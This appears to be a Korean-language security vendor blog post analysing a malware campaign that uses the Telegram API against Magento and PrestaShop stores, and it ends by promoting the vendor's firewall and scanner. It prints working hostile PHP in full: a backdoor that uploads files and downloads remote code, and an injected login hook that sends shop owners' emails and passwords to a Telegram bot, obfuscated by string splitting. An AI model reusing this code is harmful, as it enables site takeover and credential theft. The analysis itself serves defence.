최근 Astra Security의 보안 엔지니어들은 해커들이 널리 사용되는 암호화 메신저 '텔레그램(Telegram)'을 활용해 멀웨어 캠페인의 오류 로그를 수신하고, 해킹된 사이트에서 탈취한 민감 정보를 전송받는 지속적인 공격 캠페인을 발견했습니다.
해커가 텔레그램으로 오류 로그나 민감 정보를 주고받는 이유는 크게 두 가지입니다. 첫째, 자신들이 배치한 멀웨어가 웹사이트에 성공적으로 심어졌는지 확인하기 위함이고, 둘째, 멀웨어 설치에 성공했다면 피해자의 민감 정보를 특정 텔레그램 계정이나 채널로 전송하기 위함입니다. 이번 공격 캠페인의 주요 표적은 Magento(마젠토), PrestaShop(프레스타샵), WooCommerce(우커머스) 기반 쇼핑몰입니다.
대규모 사이트가 표적이 되고 있습니다
보안 솔루션 기업인 저희는 매일 비즈니스에 피해를 주는 최신 사이버 위협과 멀웨어 캠페인을 지속적으로 모니터링하고 있습니다. 이번 텔레그램 멀웨어 캠페인에서는 Magento, PrestaShop, WooCommerce를 비롯한 다수의 CMS 기반 사이트가 표적이 된 것을 확인했습니다.
일반적으로 해커들은 웹사이트를 해킹해 신용카드 정보나 기타 민감 데이터를 확보한 후, 자신들의 서버로 API 호출을 하거나 이메일로 정보를 전송합니다.
하지만 이번 사건에서 공격자는 API 호출이나 특정 이메일 주소로 데이터를 보내는 대신, 텔레그램 API를 통해 특정 텔레그램 번호/ID/채널로 정보를 전송했습니다. 이는 서버 IP 추적을 회피하고 블랙리스트 등재를 방지하면서, 보안이 강화된 텔레그램 경로를 통해 오류 로그나 해킹 데이터를 안전하게 수령하기 위한 것입니다.
Magento 사이트의 멀웨어 오류 로그 수집 행위
Ananda Krishna가 이끄는 저희 연구팀은 이번 텔레그램 멀웨어 캠페인 분석 과정에서, 해커들이 Magento 기반 사이트에 셸 스크립트를 적극적으로 심어 파일을 무단 업로드하거나 민감 정보를 탈취하고 있음을 발견했습니다. 멀웨어 설치 과정에서 오류가 발생하면 해당 오류 메시지가 디버깅 목적으로 해커의 텔레그램 계정/채널로 전송됩니다.
관련 글: 해킹당한 Magento 스토어 복구 방법
추가 조사 결과, 해커들은 웹사이트에 악성 백도어를 생성해 파일 코드를 만들고 실행할 수 있도록 했습니다. 해커는 임의의 URL을 백도어 스크립트로 전송할 수 있으며, 백도어는 해당 URL에서 파일을 다운로드해 침해된 서버에 저장합니다. 이 과정의 각 단계마다, 그리고 오류 발생 시에는 백도어 스크립트가 텔레그램 메시지를 통해 해커에게 실시간 상황을 알립니다.
해커는 $_POST['name'] 변수에 악성 파일명을, $_POST['content'] 변수에 악성 파일의 URL을 담아 전송합니다.
다음은 저희 스캐너로 조사한 침해 사이트에서 발견한 악성 스크립트 예시입니다(멀웨어 스캐너가 탐지한 사례):
해커가 $_POST['name'] = evil.php, $_POST['content'] = example.com/moreMaliciousCode.txt 형태로 요청을 보내면, 백도어 스크립트는 example.com/moreMaliciousCode.txt에 담긴 내용으로 서버에 evil.php라는 파일을 생성합니다. 이후 해커는 compromised-site.com/evil.php에 접속해 악성 코드를 실행합니다.
일부 사이트에서는 해커들이 이 백도어 스크립트를 활용해 "파일 관리자(File Manager)" 스크립트나 "Adminer" 같은 데이터베이스 관리 도구를 생성한 사례도 확인되었습니다. 이러한 도구를 통해 해커는 서버의 모든 파일을 열람·수정·삭제할 수 있고, 비밀번호, 이메일 주소, 신용카드 번호 등 개인 식별 정보(PII)가 담긴 웹사이트 데이터베이스에 대한 완전한 접근 권한까지 얻게 됩니다.
악성 코드 스니펫:
<?php
try{
if($_POST['action']=="wp_ajax_try_2020_v2"){
if(!empty ($_FILES['file']) and md5(md5(md5($_POST['token_admin'])))=="7ccda4acaa2341a049350d96fe88393b"){
if(function_exists("move_uploaded_file")){
@move_uploaded_file($_FILES['file']['tmp_name'],"../".$_FILES['file']['name']);
echo " file name : ".$_FILES['file']['name'];
}else{
die("no move_upload_file");
}
}else{
die(0);
}
exit();
}
if($_POST['action']=="wp_ajax_try_2020_v3"){
if(!empty ($_POST['content']) and md5(md5(md5($_POST['token_admin'])))=="7ccda4acaa2341a049350d96fe88393b"){
if(function_exists("file_get_contents")){
$html=file_get_contents($_POST['content']);
$save=fopen($_POST['name'],"w");
fwrite($save,$html);
fclose($save);
}else{
die("no file_get_contents");
}
}else{
die(0);
}
exit();
}
}catch (Exception $e) {
if(function_exists("file_get_contents")){
try{
file_get_contents("https://api.telegram.org/bot1234572065:AAGxojnCQEsIMuofDuQHaM-8wnM2VkYOMO4/sendMessage?chat_id=1110165405&text=" . urlencode($_SERVER['REMOTE_ADDR']." error wp")."" );
file_get_contents("https://api.telegram.org/bot1234572065:AAGxojnCQEsIMuofDuQHaM-8wnM2VkYOMO4/sendMessage?chat_id=1110165405&text=" . urlencode($e)."" );
}catch (Exception $e2) {}
}
}
?>
PrestaShop 사이트에서 정보 탈취가 진행 중
Magento 사이트와 유사하게, 해커들은 PrestaShop 사이트도 표적으로 삼아 텔레그램 API를 이용해 사이트 소유자의 민감 정보를 자신들의 텔레그램 계정/채널로 전송하고 있습니다.
이번 사례에서 저희 연구진은 해커들이 classes/Customer.php 파일 내 이메일로 고객 정보를 조회하는 기능을 우회한 뒤, 사이트 소유자의 이메일 주소와 비밀번호를 텔레그램 계정/채널로 전송하는 악성 코드를 삽입한 것을 확인했습니다.
이 공격 그룹의 이름은 B4JAT4X로 추정됩니다(아래 코드 샘플에 명시됨):
if(isset($passwd)){
$passwordbaja=$passwd;
}elseif(isset($plaintextPassword)){
$passwordbaja=$plaintextPassword;
}
$djskfhsdfdjknjksnfjksfds = "------+| [ B" . "4" . "J" . "A" . "T" . "4" . "X ] |+-----\n";
$djskfhsdfdjknjksnfjksfds .= $email.":".$passwordbaja.":".$_SERVER['REMOTE_ADDR'].":".$_SERVER['SERVER_NAME']."\n";
file_get_contents("https://"."ap"."i"."."."tel"."egr"."am".".org"."/bot1"."211"."998273".":AAHft2yajX"."qGoX3y_"."K3lfPernQ"."DPbtspu3g"."/sendMessa"."ge?chat_id="."11101654"."05&text=" .
urlencode($djskfhsdfdjknjksnfjksfds)."" );
PrestaShop 사이트에서 사용자의 신용카드 정보를 저장하고 있다면, 이로 인해 고객의 민감 정보가 유출될 수 있습니다. 해커는 탈취한 비밀번호로 피해 사이트에 로그인만 하면 모든 정보를 열람할 수 있습니다.
웹 보안이 직면한 과제
사이버 위협 환경이 인터넷 서비스 전반으로 확장되면서, 해커들은 온라인 비즈니스를 무너뜨리기 위해 이처럼 끊임없이 새로운 공격 기법을 찾아내고 있습니다. 이런 사이버 공격으로 피해를 입으면 PII(개인 식별 정보) 유출 및 GDPR 위반 문제로까지 번질 수 있습니다.
실제로 이달 초 Malwarebytes 역시 웹사이트에서 신용카드 데이터를 훔쳐 텔레그램 메신저로 해커에게 전송하는 웹 스키밍(web skimmer) 악성코드를 발견한 바 있습니다.
이러한 텔레그램 멀웨어 캠페인으로부터 웹사이트를 보호하려면, 네트워크 수준에서 텔레그램으로 향하는 모든 연결을 차단하거나 웹 애플리케이션 방화벽(WAF)을 사용하는 것이 권장됩니다. WAF를 적용하면 이런 유형의 공격으로부터 사이트를 효과적으로 보호하고, 해커가 민감 데이터를 탈취하지 못하도록 막을 수 있습니다.
Astra의 애플리케이션 방화벽을 사용 중이라면 이미 이 공격과 SQLi, XSS, CSRF, LFI, RFI, 신용카드 해킹, 스팸, 악성 봇 등 다양한 사이버 공격과 취약점으로부터 보호받고 있는 것입니다.
더 나아가 Astra의 머신러닝 기반 멀웨어 스캐너는 정기적으로 웹사이트를 자동 검사하여, 새로운 악성 파일 추가나 기존 파일 변조 등 사이트의 모든 이질적인 요소와 이상 징후를 탐지합니다. Astra 멀웨어 스캐너의 '파일 차이 보기(View file difference)' 기능을 활용하면 대시보드 내에서 모든 변경 사항을 검토하고, 클릭 한 번으로 악성 파일을 삭제할 수도 있습니다.
보안 전문가들은 오랫동안 정기적인 멀웨어 검사를 웹사이트 보안의 핵심 조치로 권고해 왔습니다. 이제 여러분의 웹사이트에 적절한 보안 조치를 마련해 언제든 안전하게 보호될 수 있도록 준비할 때입니다.